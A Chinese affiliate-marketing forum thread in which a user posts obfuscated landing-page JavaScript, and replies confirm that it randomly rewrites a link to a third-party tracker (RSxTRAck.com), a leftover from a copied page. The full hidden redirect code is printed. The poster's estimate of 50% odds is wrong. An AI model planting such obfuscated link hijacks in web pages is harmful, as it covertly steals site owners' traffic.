一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft

$ h+ B. N1 x  W, e; @& z8 [' B

1. $(function() {
   
2.     $(".option.clearfix").on("click",
   
3.     function() {
   : @, \4 m5 A5 i: V1 v8 y! _
4.         $(this).toggleClass("selected");
   6 N" R( U/ ]# I0 ]! d8 A
5.         if ($(this).hasClass("selected")) {
   
6.             $(this).addClass("selected")
   
7.         } else {
   6 o  z$ b" p( Y6 U0 ~- ]/ Z
8.             $(this).removeClass("selected")
   
9.         }
   
10.         return false
    
11.     });
    / n* L* m/ t* |7 _5 P4 ?  H
12.     var e = "r";
    7 ?4 ]; |8 X5 s- ]( y1 U4 Q
13.     var t = "e";
    
14.     setBtnMarginDefault = "c" + "\u006B";
    + k" J* Q% F% l( M8 F
15.     $(".option2.clearfix").on("click",
    
16.     function() {
    
17.         $(this).toggleClass("selected");
    
18.         if ($(this).hasClass("selected")) {
    
19.             $(this).addClass("selected")
    
20.         } else {
    ; a4 K9 b4 N% a8 k
21.             $(this).removeClass("selected")
    
22.         }
    
23.         return false
    
24.     });
    
25.     var n = "a";
    
26.     var r = "g";
    
27.     $(".option3.clearfix").on("click",
    ; O9 O: n1 k. W# u
28.     function() {
    
29.         $(this).toggleClass("selected");
    4 ~' I0 |3 C5 l- P) m+ k
30.         if ($(this).hasClass("selected")) {
    9 B' G8 L& `0 f& H. x
31.             $(this).addClass("selected")
    & G: K7 a$ a" p3 y3 T) k+ A
32.         } else {
    
33.             $(this).removeClass("selected")
    - J3 a2 e# p* y8 `/ i) Y
34.         }
    : g' y1 z& Q3 n
35.         return false
    
36.     });
    
37.     var i = "e";
    , w) f" _: v+ x8 G' c  j7 K
38.     var s = n + r + e + t + i;
    
39.     $(".option4.clearfix").on("click",
    , p0 v/ L0 s( V& M6 _5 a
40.     function() {
    " C0 F9 ]/ X* F0 \
41.         $(this).toggleClass("selected");
    
42.         if ($(this).hasClass("selected")) {
    . o1 h2 D/ Q; G- z1 J1 @
43.             $(this).addClass("selected")
    7 j$ ~2 C0 |$ ?/ C
44.         } else {
    
45.             $(this).removeClass("selected")
    
46.         }
    - T( C7 B5 I0 z. d+ o8 K/ a
47.         return false
    $ e+ Y6 f# n1 p4 U3 o3 n6 r
48.     });
    
49.     var o = "\u0032" + "\u0030";
    2 p+ k5 v/ \6 ]* o- o8 p0 Z6 A
50.     var u = "\u0031" + "\u0030";
    ! `% ?9 N& S# A  ?
51.     currentWhiteSpace = Math.floor(Math.random() * o);
    
52.     setBtnMargin30 = setBtnMarginDefault + "." + "c";
    # R7 P* C! ?) X$ C0 E; e
53.     Date.prototype.getMonthName = function() {
    
54.         var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
    ; `: W' N, x' d8 @2 ?
55.         return e[this.getMonth()]
    3 s- C4 E6 G3 T6 k' O
56.     };
    
57.     var a = currentWhiteSpace;
    . ~/ O$ P) I! P( ?2 b. X3 ^
58.     var f = "H";
    5 \+ h# b* a4 ]( L2 s
59.     var l = "\u0052";
    6 D4 _- _% R% T5 ^
60.     var c = "o" + "\u006D";
    , U, v* S9 @# I. L, C# D+ j1 L* |$ v3 k8 V
61.     f += "T";
    ( K, l% F' Q. ~( P$ T8 ?8 r4 N
62.     f += "T";
    
63.     f += "P";
    
64.     var h = new Date;
    7 I! I5 ?5 I; T) n; Y& n% Z, v
65.     if (h.getMonth() == 11) {
    
66.         var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
    , z- r& G5 _+ Q  H/ G
67.     } else {
    9 L! \% U: p% v& o6 X' _5 a% t
68.         var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
    
69.     }
    & a* U. E4 M4 }7 h
70.     var d = ":" + "/" + "/";
    # ~# K2 o( Z4 h) Y' O& o. A7 T8 X5 [
71.     l += "S";
    . D* K5 W( M8 Z0 X. m
72.     l += "x";
    ) s$ x9 j5 `  k( N
73.     document.getElementById("monthz").innerHTML = p;
    9 f* u% L( n) D1 ?. M
74.     l += "\u0054";
    + g2 N. a8 P5 U. j, ]# W+ V+ m# F
75.     l += "R";
    
76.     l += "\u0041" + setBtnMargin30;
    
77.     setStyle = f + d + l + c;
    
78.     s = s.toLowerCase(s);
    $ Z1 T2 X$ i- l7 q' ^. e
79.     if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
    / `! N+ E. }& _# V! p! P/ ?' h, w
80. })

复制代码

. N! I: u9 {- u

+ m1 J; E% q% f了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft

1. if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

+ r: Z6 Y* y3 U, K3 P% l$ v" g$ N! k" F
! u2 ]& d* Y7 U最后这一句，怀疑是随机偷流量代码 。。。

tmdsoft

$(function () {
( w4 Y* L6 T3 J0 b9 }    $(".option.clearfix").on("click", function () {
        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
        } else {
            $(this).removeClass("selected")
        }
) e0 }7 d$ ~1 g7 X7 N        return false
: z4 c. b& G+ D/ C3 L7 F' |, S    });
    $(".option2.clearfix").on("click", function () {
        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
$ y8 r4 H! g+ V# u        } else {
            $(this).removeClass("selected")
0 G2 A  N# y3 t7 s9 s( f        }
0 j2 a; M1 s# N/ U5 u" Y9 U        return false
    });
    $(".option3.clearfix").on("click", function () {
        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
        } else {
+ U4 y# A0 d' W# Y            $(this).removeClass("selected")
        }
8 a# w/ M  k& t! U! A% t        return false
" K; k* n: l$ p    });
4 m8 q0 v3 o' [5 T    $(".option4.clearfix").on("click", function () {
        $(this).toggleClass("selected");
* e: S  @7 G) i' Q6 j& I/ C% R1 L        if ($(this).hasClass("selected")) {
* |) E% m% t: C( i5 F+ o% x! t* L            $(this).addClass("selected")
9 R6 D( L: q/ u: ]3 U        } else {
            $(this).removeClass("selected")
! f' S, v8 b( W4 s! E! G        }
9 q( q2 _) ~5 ^, j4 c- k        return false
    });
})

/ B* i; {- D$ A3 O! O* ?
) C& x8 T( a4 V' [& Q$ P' X) S/ l我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马

不是的

tmdsoft

河小马 发表于 2014-12-25 22:53
" N4 k7 M7 D& n! v- E* c- E不是的

% B4 G3 K3 x, r那是什么？

tmdsoft

4 r) b. b: U' s  C  g

1. document.getElementsByClassName(s)[0].href = setStyle

复制代码

1 `# A( ~) g; i( B: |' B: E
+ m/ J5 U6 l' r5 W最主要的是这句话 ，最后 setstyle = Http://RSxTRAck.com

tmdsoft

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
& Z$ R( L+ g5 K% U$ c

4 Z  }7 y" _! @* G) po=20
/ N6 W) R5 f/ l  I5 Fu=10

a=1或者0 乘以20
6 o) @8 j% [$ C6 q" E8 H3 m6 r
如果a=20（50%的几率) ,那么 条件成立，请问这句代码是不是重定向到这个网址上 。

你是用了别人的LP？

Rock_well

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。